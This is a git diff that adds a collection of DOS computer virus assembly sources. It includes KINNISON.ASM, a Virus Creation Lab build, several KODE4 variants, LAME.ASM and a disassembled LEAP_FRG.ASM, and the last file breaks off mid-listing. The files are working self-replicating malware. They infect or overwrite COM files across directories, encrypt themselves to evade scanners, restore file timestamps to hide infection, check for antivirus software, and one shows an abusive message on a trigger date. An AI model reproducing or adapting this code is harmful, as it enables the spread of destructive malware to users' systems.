; CX holds bytes to write (3) + lea dx,[di + new_jump] ; DX points to the jump we made + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + push si ; Save SI through call + call encrypt_code ; Write an encrypted copy + pop si ; Restore SI + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +set_carry db ? ; Set-carry-on-exit flag +buffer db 090h,0CDh,020h ; Buffer to hold old three bytes +new_jump db 0E9h,?,? ; New jump to virus +infect_file endp + + + db 087h,04Ch,0B3h,047h,001h + +get_day proc near + mov ah,02Ah ; DOS get date function + int 021h + mov al,dl ; Copy day into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_day endp + + db 0FFh,024h,0C3h,092h,07Fh + +get_weekday proc near + mov ah,02Ah ; DOS get date function + int 021h + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_weekday endp + +data00 db 7,7,7,"DIE BITCH!!!!! AHHHHHHHH!!!!!!!",13,10,0 + +vcl_marker db "[VCL]",0 ; VCL creation marker + + +note db "This *VIRUS* is dedecated to t" + db "he memory of Sam Kinsion, 1954" + db "-1992",0 + db "[Kinison]",0 + db "Nowhere Man, [NuKE] '92",0 + +encrypt_code proc near + push bp ; Save BP + mov bp,di ; Use BP as pointer to code + lea si,[bp + encrypt_decrypt]; SI points to cipher routine + + xor ah,ah ; BIOS get time function + int 01Ah + mov word ptr [si + 9],dx ; Low word of timer is new key + + xor byte ptr [si + 1],8 ; + xor byte ptr [si + 8],1 ; Change all SIs to DIs + xor word ptr [si + 11],0101h; (and vice-versa) + + lea di,[bp + finish] ; Copy routine into heap + mov cx,finish - encrypt_decrypt - 1 ; All but final RET + push si ; Save SI for later + push cx ; Save CX for later + rep movsb ; Copy the bytes + + lea si,[bp + write_stuff] ; SI points to write stuff + mov cx,5 ; CX holds length of write + rep movsb ; Copy the bytes + + pop cx ; Restore CX + pop si ; Restore SI + inc cx ; Copy the RET also this time + rep movsb ; Copy the routine again + + mov ah,040h ; DOS write to file function + lea dx,[bp + start] ; DX points to virus + + lea si,[bp + finish] ; SI points to routine + call si ; Encrypt/write/decrypt + + mov di,bp ; DI points to virus again + pop bp ; Restore BP + ret ; Return to caller + +write_stuff: mov cx,finish - start ; Length of code + int 021h +encrypt_code endp + +end_of_code label near + +encrypt_decrypt proc near + lea si,[bp + start_of_code] ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: db 081h,034h,00h,00h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main \ No newline at end of file diff --git a/k/KINNISON.ASM b/k/KINNISON.ASM new file mode 100755 index 0000000..21007ef --- /dev/null +++ b/k/KINNISON.ASM @@ -0,0 +1,397 @@ +; KINNISON.ASM -- Sam Kinnison virus +; Created by Nowhere Man's Virus Creation Labratory v0.75 +; Written by Nowhere Man + +virus_type equ 0 + +code segment 'CODE' + assume cs:code,ds:code,es:code,ss:code + org 0100h + +main proc near +flag: mov ah,0 + nop + nop + + jmp start ; Would be at start of victim + nop + nop +start: call find_offset ; Push IP on to stack, advance IP +find_offset: pop di ; DI holds old IP + sub di,3 ; Adjust for length of CALL + + lea si,[di + start_of_code - start] ; SI points to code + call encrypt_decrypt ; Decrypt the code + +start_of_code label near + + push di ; Save DI + mov si,offset flag ; SI points to flag bytes + lea di,[di + new_jump - start] ; DI points to start of jump + movsw ; Transfer two bytes + movsw ; Transfer two bytes + pop di ; Restore DI + push di ; And save it for later + lea si,[di + buffer - start]; SI points to old start + mov di,0100h ; DI points to start of code + movsw ; Transfer two bytes + movsw ; Transfer two bytes + movsw ; Transfer two bytes + movsb ; Transfer final byte + pop di ; Restore DI + + mov bp,sp ; BP points to stack + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer on stack + int 021h + + call get_day + cmp ax,000Bh + jne end00 + call get_weekday + cmp ax,0005h + jne end00 + mov cx,0003h + call beep +end00: xor ah,ah ; BIOS get time function + int 01Ah + test dx,0001h + jne no_infection + call search_files +no_infection: + call get_day + cmp ax,000Bh + jne end01 + call get_weekday + cmp ax,0005h + jne end01 + lea si,[di + data00 - start] ; SI points to data + call display_string +end01: pop dx ; DX holds original DTA address + mov ah,01Ah ; DOS set DTA function + int 021h + + mov sp,bp ; Deallocate local buffer + + mov di,0100h ; Push 0100h on to stack for + push di ; return to main program + + xor ax,ax ; + mov bx,ax ; + mov cx,ax ; + mov dx,ax ; Empty out the registers + mov si,ax ; + mov di,ax ; + mov bp,ax ; + + ret ; Return to original program +main endp + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,64 ; Allocate 64 bytes on stack + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 64] ; SI points to 64-byte buffer + int 021h + + mov ah,03Bh ; DOS change directory function + lea dx,[di + root - start] ; DX points to root directory + int 021h + + call traverse ; Start the traversal + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 64] ; DX points to old directory + int 021h + + mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller + +root db "\",0 ; Root directory +search_files endp + +traverse proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first function + mov cx,00010000b ; CX holds search attributes + mov dx,offset all_files ; DX points to "*.*" + int 021h + jc leave_traverse ; Leave if no files present + +check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? + jne another_dir ; If not, try again + cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? + je another_dir ;If so, keep going + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 98] ; DX points to new directory + int 021h + + call traverse ; Recursively call ourself + + mov ah,03Bh ; DOS change directory function + lea dx,[di + up_dir - start]; DX points to parent directory + int 021h + +another_dir: mov ah,04Fh ; DOS find next function + int 021h + jnc check_dir ; If found check the file + +leave_traverse: + lea dx,[di + com_mask - start] ; DX points to "*.COM" + call find_files ; Try to infect a file +done_searching: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller + +up_dir db "..",0 ; Parent directory name +all_files db "*.*",0 ; Directories to search for +com_mask db "*.COM",0 ; Mask for all .COM files +traverse endp + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov ax,04301h ; DOS set file attributes function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,7 ; CX holds bytes to read (7) + lea dx,[di + buffer - start]; DX points to buffer + int 021h + + push si ; Save DTA address before compare + mov byte ptr [di + set_carry - start],0 ; Assume we'll fail + lea si,[di + buffer - start]; SI points to comparison buffer + push di ; Save virus offset + lea di,[di + new_jump - start] ; DI points to virus flag + mov cx,4 ; CX holds number of bytes (4) + rep cmpsb ; Compare the first four bytes + pop di ; Restore DI + je close_it_up ; If equal then close up + mov byte ptr [di + set_carry - start],1 ; Success -- the file is OK + + cwd ; Zero CX _ Zero bytes from start + mov cx,dx ; Zero DX / + mov ax,04200h ; DOS file seek function, start + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + sub ax,7 ; Prepare for JMP + mov word ptr [di + new_jump + 5 - start],ax ; Construct JMP for later + + call encrypt_code ; Make an encrypted copy of ourself + + mov ah,040h ; DOS write to file function + mov cx,finish - start ; CX holds virus length + lea dx,[di + finish - start] ; DX points to encrypted copy + int 021h + + cwd ; Zero DX _ Zero bytes from start + mov cx,dx ; Zero CX / + mov ax,04200h ; DOS file seek function, start + int 021h + + mov ah,040h ; DOS write to file function + mov cx,7 ; CX holds bytes to write (7) + lea dx,[di + new_jump - start] ; DX points to the jump we made + int 021h + +close_it_up: pop si ; Restore DTA address + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attributes function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [di + set_carry - start],1 ; Set carry flag if failed + ret ; Return to caller + +set_carry db ? ; Set-carry-on-exit flag +buffer db 5 dup (090h),0CDh,020h ; Buffer to hold test data +new_jump db 4 dup (?),0E9h,?,? ; New jump to virus +infect_file endp + + +beep proc near + jcxz beep_end ; Exit if there are no beeps + + mov ax,0E07h ; BIOS display char., BEL +beep_loop: int 010h ; Beep + loop beep_loop ; Beep until --CX = 0 + +beep_end: ret ; Return to caller +beep endp + +display_string proc near + mov ah,0Eh ; BIOS display char. function +display_loop: lodsb ; Load the next char. into AL + or al,al ; Is the character a null? + je disp_strnend ; If it is, exit + int 010h ; BIOS video interrupt + jmp short display_loop ; Do the next character +disp_strnend: ret ; Return to caller +display_string endp + +get_day proc near + mov ah,02Ah ; DOS get date function + int 021h + mov al,dl ; Copy day into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_day endp + +get_weekday proc near + mov ah,02Ah ; DOS get date function + int 021h + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_weekday endp + +data00 db "DIE BITCH!!!!! AHHHHHHHH!!!!!!!",13,10,0 + +vcl_marker db "[VCL]",0 ; VCL creation marker + + +note db "Dedicated to the memory of" + db " Sam Kinnison 1954-1992",0 + db "[Kinnison]",0 + db "Nowhere Man, [NuKE] '92",0 +encrypt_code proc near + push bx ; Save BX + + push di ; Save DI + lea si,[di + encrypt_decrypt - start] ; SI points to encryption code + + xor ah,ah ; BIOS get time function + int 01Ah + or dx,1 ; Insure we never get zero + mov word ptr [si + 5],dx ; Low word of timer is new key + +alter_flag: mov al,0 ; AL holds alteration flag + inc byte ptr [di + (alter_flag + 1) - start] ; Toggle alteration flag + + test al,1 ; Is bit one set? + jne check_nop ; If not then don't toggle + + xor byte ptr [si],0110b ; Change all BPs in startup code + xor byte ptr [si + 4],010b ; to BXs, and vice-versa + xor byte ptr [si + 7],0110b ; + +check_nop: test al,2 ; Is bit two set? + jne do_encryption ; If not then don't toggle + + mov ax,word ptr [si + 7] ; AX holds INC/NOP + xchg ah,al ; Exchange position of INC and NOP + mov word ptr [si + 7],ax ; Put the word back + +do_encryption: mov si,di ; SI points to start of code + lea di,[di + finish - start] ; DI points past code + mov cx,(finish - start) / 2 ; CX holds words to transfer + rep movsw ; Copy the code past the end + + pop di ; Restore DI + lea si,[di + (finish + (start_of_code - start)) - start] ; SI points to code to encrypt + call encrypt_decrypt ; Encrypt the code + + pop bx ; Restore BX + ret ; Return to caller +encrypt_code endp + +even ; Must be on an even boundry + +end_of_code label near + +encrypt_decrypt proc near + mov bp,end_of_code - start_of_code - 2 ; BP holds length of code +xor_loop: db 081h,032h,00h,00h ; XOR a word with the key + dec bp ; Do the next byte + nop ; Used to throw off detectors + jne xor_loop ; Repeat until we're done + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main \ No newline at end of file diff --git a/k/KODE4-1.ASM b/k/KODE4-1.ASM new file mode 100755 index 0000000..38ea9e9 --- /dev/null +++ b/k/KODE4-1.ASM @@ -0,0 +1,94 @@ +;###################################################################### +;# Name: Kode4 version 1.0 (overwritting stage) +;# Author: Soltan Griss [YAM] +;# +;# Description: What this sucker does is very simple. it overwrites +;# the first 46 bytes of all com files in the current +;# directory, with it's own code... as of scanv93, this +;# virus is undetectable.. +;# +;# +;# Special Thanks go out to Data Disruptor.. If it were not for you i +;# would still be fucking lost!!!! +;# +;###################################################################### + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h +V_Length equ last-start +KODE4 proc far + +start label near ;Check for Virex installiation + + mov ax,0ff0fh + int 21h + cmp ax,0101h ;Abort if Virex Protection + je done ; present + + + mov ah,4Eh ;Find first Com file + mov dx,offset filename ;use "*.com" + int 21h + +Back: + mov ah,43h ;get rid of read only + mov al,0 + mov dx,9eh + int 21h + mov ah,43h + mov al,01 + and cx,11111110b + int 21h + + mov ax,3D01h ;Open file for writing + mov dx,9Eh ;get file name from file DTA + int 21h + + mov bx,ax ;save handle in bx + mov ah,57h ;get time date + mov al,0 + int 21h + + push cx ;put in stack for later + push dx + + + mov dx,100h ;Start writing at 100h + mov cl,v_length ;write 46 bytes + mov ah,40h ;Write Data into the file + int 21h + + + pop dx ;Restore old dates and times + pop cx + mov ah,57h + mov al,01h + int 21h + + + + mov ah,3Eh ;Close the file + int 21h + + mov ah,4Fh ;Find Next file + int 21h + + jnc Back + mov ah,9h + mov dx,offset DATA + int 21h + +done: int 20h ;Terminate Program +filename db "*.c*",0 +DATA db " -=+ Kode4 +=-, The one and ONLY!$" + + +kode4 endp +LAST label near +seg_a ends + end start + + diff --git a/k/KODE4-2.ASM b/k/KODE4-2.ASM new file mode 100755 index 0000000..ff4a9ef --- /dev/null +++ b/k/KODE4-2.ASM @@ -0,0 +1,185 @@ +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h +V_Length equ vend-vstart +KODE4 proc far +start label near + db 0E9h,00h,00h + + +vstart equ $ + + mov si,100h ;get si to point to 100 + mov di,102h ;get di to point to 102 +lback: inc di ;increment di + mov ax,word ptr [si] ;si is ponting to ax + cmp word ptr [di],ax ;compare ax with di loc + jne lback ;INE go back and inc di + + + mov ax,word ptr [si+1] + cmp ax,word ptr [di+1] + je lout + jmp lback + +lout: add di,3h ;jmp stored in the end + sub di,(v_length+100h) ;+3 to get to end and - + mov si,di ; +;********************************************************************** +;* +;* The above code can be re-written as follows... +;* The above idea, although it works is very long in code.... +;* when DOS does a load and execute it pushes all registers the last +;* register to be pushed contains the file length. so just subtract +;* the current location +;********************************************************************** +; +; +; +;Host_Off: pop bp +; sub bp,offset host_off +; mov si,bp +; +;*** Before opening any file copy the original three bytes back to 100h +;*** Because they will get overwritten when you check any new files + lea di,temp_buff + add di,si + mov ax,word ptr [di] + mov cl,byte ptr [di+2] + mov di,100h + mov word ptr [di],ax + mov byte ptr [di+2],cl + + + mov ah,4Eh ;Find first Com file + mov dx,offset filename ; offset of "*.com" + add dx,si + int 21h + jnc back + jmp done +Back: + mov ah,43h ;get rid of read only + mov al,0 + mov dx,9eh + int 21h + mov ah,43h + mov al,01 + and cx,11111110b + int 21h + + mov ax,3D02h ;Open file for read/writing + mov dx,9Eh ;get file name from file DTA + int 21h + jnc next + jmp done +next: mov bx,ax ;save handle in bx + mov ah,57h ;get time date + mov al,0 + int 21h + + push cx ;put in stack for later + push dx + + mov ax,4200h ; Move ptr to start of file + xor cx,cx + xor dx,dx + int 21h + + + mov ah,3fh ;load first 3 bytes + mov cx,3 + + mov dx,offset temp_buff + add dx,si + int 21h + + xor cx,cx ;move file pointer to end of file + xor dx,dx + mov ax,4202h + int 21h + sub ax,3 ; Fix for real location + push ax + ; nop ; + ; nop ; used for debugging + ; nop ; + ; nop ; + ; nop + + mov di,offset temp_buff + add di,si + mov word ptr [j_code2+si],ax; Save two bytes in a + ; word [jumpin] + + cmp byte ptr [di],0e9h ;look for a jmp at begining + jne infect + + mov cx,word ptr [di+1] ;check for XXX bytes at end + pop ax + sub ax,v_length + cmp ax, cx ; jump (id string to check) + jne infect + jmp finish + + + +infect: + + xor cx,cx ;move file pointer to begining + xor dx,dx ;to write jump + mov ax,4200h + int 21h + + mov ah,40h ;write jump in first 3 bytes + mov cx,3 + mov dx, offset j_code1 + add dx,si + int 21h + + xor cx,cx ;move file pointer to end of file + xor dx,dx + mov ax, 4202h + int 21h + + mov dx,offset vstart + add dx,si ;Start writing at top of virus + mov cx,(vend-vstart) ; Set for length of virus + mov ah,40h ;Write Data into the file + int 21h + + +Finish: pop dx ;Restore old dates and times + pop cx + mov ah,57h + mov al,01h + int 21h + + mov ah,3Eh ;Close the file + int 21h + + mov ah,4Fh ;Find Next file + int 21h + jc done + jmp back + +done: + mov bp,100h + jmp bp + + +filename db "*.com",0 +DATA db " -=+ Kode4 +=-, The one and ONLY!$" + +j_code1 db 0e9h +j_code2 db 00h,00h +temp_buff db 0cdh,020h,090h ; CD 20 NOP +kode4 endp + +vend equ $ + +seg_a ends + + end start + + diff --git a/k/KODE4.ASM b/k/KODE4.ASM new file mode 100755 index 0000000..77e242c --- /dev/null +++ b/k/KODE4.ASM @@ -0,0 +1,100 @@ +>>> Article From Evolution #2 - YAM '92 + +Article Title: Kode 4 v1 Virus +Author: Soltan Griss + + +;###################################################################### +;# Name: Kode4 version 1.0 (overwritting stage) +;# Author: Soltan Griss [YAM] +;# +;# Description: What this sucker does is very simple. it overwrites +;# the first 46 bytes of all com files in the current +;# directory, with it's own code... as of scanv93, this +;# virus is undetectable.. +;# +;# +;# Special Thanks go out to Data Disruptor.. If it were not for you i +;# would still be fucking lost!!!! +;# +;###################################################################### + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h +V_Length equ last-start +KODE4 proc far + +start label near ;Check for Virex installiation + + mov ax,0ff0fh + int 21h + cmp ax,0101h ;Abort if Virex Protection + je done ; present + + + mov ah,4Eh ;Find first Com file + mov dx,offset filename ;use "*.com" + int 21h + +Back: + mov ah,43h ;get rid of read only + mov al,0 + mov dx,9eh + int 21h + mov ah,43h + mov al,01 + and cx,11111110b + int 21h + + mov ax,3D01h ;Open file for writing + mov dx,9Eh ;get file name from file DTA + int 21h + + mov bx,ax ;save handle in bx + mov ah,57h ;get time date + mov al,0 + int 21h + + push cx ;put in stack for later + push dx + + + mov dx,100h ;Start writing at 100h + mov cl,v_length ;write 46 bytes + mov ah,40h ;Write Data into the file + int 21h + + + pop dx ;Restore old dates and times + pop cx + mov ah,57h + mov al,01h + int 21h + + + + mov ah,3Eh ;Close the file + int 21h + + mov ah,4Fh ;Find Next file + int 21h + + jnc Back + mov ah,9h + mov dx,offset DATA + int 21h + +done: int 20h ;Terminate Program +filename db "*.c*",0 +DATA db " -=+ Kode4 +=-, The one and ONLY!$" + + +kode4 endp +LAST label near +seg_a ends + end start + + diff --git a/k/KODE4V2.ASM b/k/KODE4V2.ASM new file mode 100755 index 0000000..2e211e3 --- /dev/null +++ b/k/KODE4V2.ASM @@ -0,0 +1,191 @@ +>>> Article From Evolution #2 - YAM '92 + +Article Title: Kode 4 v2 Virus +Author: Soltan Griss + + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h +V_Length equ vend-vstart +KODE4 proc far +start label near + db 0E9h,00h,00h + + +vstart equ $ + + mov si,100h ;get si to point to 100 + mov di,102h ;get di to point to 102 +lback: inc di ;increment di + mov ax,word ptr [si] ;si is ponting to ax + cmp word ptr [di],ax ;compare ax with di loc + jne lback ;INE go back and inc di + + + mov ax,word ptr [si+1] + cmp ax,word ptr [di+1] + je lout + jmp lback + +lout: add di,3h ;jmp stored in the end + sub di,(v_length+100h) ;+3 to get to end and - + mov si,di ; +;********************************************************************** +;* +;* The above code can be re-written as follows... +;* The above idea, although it works is very long in code.... +;* when DOS does a load and execute it pushes all registers the last +;* register to be pushed contains the file length. so just subtract +;* the current location +;********************************************************************** +; +; +; +;Host_Off: pop bp +; sub bp,offset host_off +; mov si,bp +; +;*** Before opening any file copy the original three bytes back to 100h +;*** Because they will get overwritten when you check any new files + lea di,temp_buff + add di,si + mov ax,word ptr [di] + mov cl,byte ptr [di+2] + mov di,100h + mov word ptr [di],ax + mov byte ptr [di+2],cl + + + mov ah,4Eh ;Find first Com file + mov dx,offset filename ; offset of "*.com" + add dx,si + int 21h + jnc back + jmp done +Back: + mov ah,43h ;get rid of read only + mov al,0 + mov dx,9eh + int 21h + mov ah,43h + mov al,01 + and cx,11111110b + int 21h + + mov ax,3D02h ;Open file for read/writing + mov dx,9Eh ;get file name from file DTA + int 21h + jnc next + jmp done +next: mov bx,ax ;save handle in bx + mov ah,57h ;get time date + mov al,0 + int 21h + + push cx ;put in stack for later + push dx + + mov ax,4200h ; Move ptr to start of file + xor cx,cx + xor dx,dx + int 21h + + + mov ah,3fh ;load first 3 bytes + mov cx,3 + + mov dx,offset temp_buff + add dx,si + int 21h + + xor cx,cx ;move file pointer to end of file + xor dx,dx + mov ax,4202h + int 21h + sub ax,3 ; Fix for real location + push ax + ; nop ; + ; nop ; used for debugging + ; nop ; + ; nop ; + ; nop + + mov di,offset temp_buff + add di,si + mov word ptr [j_code2+si],ax; Save two bytes in a + ; word [jumpin] + + cmp byte ptr [di],0e9h ;look for a jmp at begining + jne infect + + mov cx,word ptr [di+1] ;check for XXX bytes at end + pop ax + sub ax,v_length + cmp ax, cx ; jump (id string to check) + jne infect + jmp finish + + + +infect: + + xor cx,cx ;move file pointer to begining + xor dx,dx ;to write jump + mov ax,4200h + int 21h + + mov ah,40h ;write jump in first 3 bytes + mov cx,3 + mov dx, offset j_code1 + add dx,si + int 21h + + xor cx,cx ;move file pointer to end of file + xor dx,dx + mov ax, 4202h + int 21h + + mov dx,offset vstart + add dx,si ;Start writing at top of virus + mov cx,(vend-vstart) ; Set for length of virus + mov ah,40h ;Write Data into the file + int 21h + + +Finish: pop dx ;Restore old dates and times + pop cx + mov ah,57h + mov al,01h + int 21h + + mov ah,3Eh ;Close the file + int 21h + + mov ah,4Fh ;Find Next file + int 21h + jc done + jmp back + +done: + mov bp,100h + jmp bp + + +filename db "*.com",0 +DATA db " -=+ Kode4 +=-, The one and ONLY!$" + +j_code1 db 0e9h +j_code2 db 00h,00h +temp_buff db 0cdh,020h,090h ; CD 20 NOP +kode4 endp + +vend equ $ + +seg_a ends + + end start + + diff --git a/l/LAME.ASM b/l/LAME.ASM new file mode 100755 index 0000000..9c685e5 --- /dev/null +++ b/l/LAME.ASM @@ -0,0 +1,186 @@ + .code + .radix 16 + org 100 + +start: jmp temp ; The next two lines will be patched in +; cld ; DAME may have altered DF +; mov bx,ds + call calc_off + +old4 dw 20cdh, 0 +fmask db '*.com',0 +dmask db '..',0 + + db 0dh,'This is a lame virus slapped together by DA/PS',0Dh,0A + db 'To demonstrate DAME 0.91',0Dh,0A,1a + +vars = 0 + include dame.asm ; include the code portion of DAME + +calc_off: + pop si + mov ax,si + mov cl,4 + shr ax,cl + sub ax,10 + add ax,bx + mov bx,offset enter_vir + push ax bx + retf + +enter_vir: + mov di,100 + push es di es es + movsw + movsw +enter_vir0: + push cs cs + pop es ds + mov ah,1a + mov dx,offset new_dta ; set new DTA + int 21 + + mov ah,47 + cwd + mov si,offset old_path+1 + mov byte ptr [si-1],'\' + int 21 + + mov inf_cnt,4 + + call rnd_init_seed +inf_dir:mov ah,4e + mov dx,offset fmask +fnext: int 21 + jnc inf_file + + mov ah,3bh + mov dx,offset dmask + int 21 + jnc inf_dir +done_all: + mov ah,3bh + mov dx,offset old_path + int 21 + + pop es ds ; restore the DTA + mov dx,80 + mov ah,1a + int 21 + + retf ; return to carrier + +inf_file: + mov ax,3d00 + mov dx,offset new_dta + 1e + int 21 + jc _fnext + xchg ax,bx + + mov ah,3f + mov cx,4 + mov dx,offset old4 + int 21 + + mov ah,3e + int 21 + + cmp old4,0e9fc + jz _fnext + add al,ah + cmp al,'Z'+'M' + jz _fnext + call infect + dec inf_cnt + jz done_all +_fnext: + mov ah,4f + jmp short fnext + +infect: mov ax,3d00 + mov dx,offset new_dta + 1e + int 21 + push ax + xchg ax,bx + + mov ax,1220 + int 2f + + mov ax,1216 + mov bl,es:di + mov bh,0 + int 2f + + pop bx + + mov word ptr es:[di+2],2 + + mov ax,es:[di+11] + mov bp,ax + mov cx,4 + sub ax,cx + mov patch,ax + + mov ah,40 + mov dx,offset oFCE9 + int 21 + + mov word ptr es:[di+15],bp + + push es di cs + pop es + + mov si,100 + mov di,offset copyvirus + mov cx,(heap - start + 1)/2 + rep movsw + + mov ax,0000000000001011b + mov dx,offset copyvirus + mov cx,heap - start + mov si,offset _decryptbuffer + mov di,offset _encryptbuffer + push dx bx si + mov bx,bp + inc bh + call dame + + mov ah,40 + pop dx bx + int 21 + + mov ah,40 + mov cx,heap - start + pop dx + int 21 + + pop di es + or byte ptr es:[di+6],40 + + mov ah,3e + int 21 + + retn + +oFCE9 dw 0e9fc +heap: +patch dw ? +inf_cnt db ? + +vars = 1 + include dame.asm ; include the heap portion of DAME + +old_path db 41 dup (?) +new_dta db 2c dup (?) +_encryptbuffer: db 80 dup (?) +_decryptbuffer: db 1a0 dup (?) +copyvirus db heap - start + 20 dup (?) + +temp: mov byte ptr ds:[100],0fc + mov word ptr ds:[101],0db8c + xor di,di + push cs di cs cs + jmp enter_vir0 + + end start +--End LAME.ASM--Begin DAME.ASM------------------------------------------------- diff --git a/l/LEAP_FRG.ASM b/l/LEAP_FRG.ASM new file mode 100755 index 0000000..8638e78 --- /dev/null +++ b/l/LEAP_FRG.ASM @@ -0,0 +1,278 @@ + +ussr516 segment byte public + assume cs:ussr516, ds:ussr516 + org 100h +; Disassembled by Dark Angel of PHALCON/SKISM +; for 40Hex Number 7 Volume 2 Issue 3 +stub: db 0e9h, 0, 0 + db 0e9h, 1, 0, 0 +; This is where the virus really begins +start: + push ax + call beginvir + +orig4 db 0cdh, 20h, 0, 0 +int30store db 0, 0, 0, 0 ; Actually it's int 21h + ; entry point +int21store db 0, 0, 0, 0 + +beginvir: pop bp ; BP -> orig4 + mov si,bp + mov di,103h + add di,[di-2] ; DI -> orig4 + movsw ; restore original + movsw ; 4 bytes of program + xor si,si + mov ds,si + les di,dword ptr ds:[21h*4] + mov [bp+8],di ; int21store + mov [bp+0Ah],es + lds di,dword ptr ds:[30h*4+1] ; Bug???? +findmarker: + inc di + cmp word ptr [di-2],0E18Ah ; Find marker bytes + jne findmarker ; to the entry point + mov [bp+4],di ; and move to + mov [bp+6],ds ; int30store + mov ax,5252h ; Get list of lists + int 21h ; and also ID check + + add bx,12h ; Already installed? + jz quitvir ; then exit + push bx + mov ah,30h ; Get DOS version + int 21h + + pop bx ; bx = 12, ptr to 1st + ; disk buffer + cmp al,3 + je handlebuffer ; if DOS 3 + ja handleDBHCH ; if > DOS 3 + inc bx ; DOS 2.X, offset is 13 +handlebuffer: + push ds + push bx + lds bx,dword ptr [bx] ; Get seg:off of buffer + inc si + pop di + pop es ; ES:DI->seg:off buff + mov ax,[bx] ; ptr to next buffer + cmp ax,0FFFFh ; least recently used? + jne handlebuffer ; if not, go find it + cmp si,3 + jbe quitvir + stosw + stosw + jmp short movetobuffer +handleDBHCH: ; Disk Buffer Hash Chain Head array + lds si,dword ptr [bx] ; ptr to disk buffer + lodsw ; info + lodsw ; seg of disk buffer + ; hash chain head array + inc ax ; second entry + mov ds,ax + xor bx,bx + mov si,bx + lodsw ; EMS page, -1 if not + ; in EMS + xchg ax,di ; save in di + lodsw ; ptr to least recently + ; used buffer + mov [di+2],ax ; change disk buffer + ; backward offset to + ; least recently used + xchg ax,di ; restore EMS page + mov [di],ax ; set to least recently +movetobuffer: ; used + mov di,bx + push ds + pop es ; ES:DI -> disk buffer + push cs + pop ds + mov cx,108h + lea si,[bp-4] ; Copy from start + rep movsw + mov ds,cx ; DS -> interrupt table + mov word ptr ds:[4*21h],0BCh ; New interrupt handler + mov word ptr ds:[4*21h+2],es ; at int21 +quitvir: + push cs ; CS = DS = ES + pop es + push es + pop ds + pop ax + mov bx,ax + mov si, 100h ; set up stack for + push si ; the return to the + retn ; original program +int24: + mov al,3 ; Ignore all errors + iret +tickstore db 3 ; Why??? +buffer db 3, 0, 9, 0 + +int21: + pushf + cli ; CP/M style call entry + call dword ptr cs:[int30store-start] + retn ; point of int 21h + +int21DSDX: ; For int 21h calls + push ds ; with + lds dx,dword ptr [bp+2] ; DS:DX -> filename + call int21 + pop ds + retn + + cmp ax,4B00h ; Execute + je Execute + cmp ax,5252h ; ID check + je CheckID + cmp ah,30h ; DOS Version + je DosVersion +callorig21: ; Do other calls + jmp dword ptr cs:[int21store-start] +DosVersion: ; Why????? ; DOS Version + dec 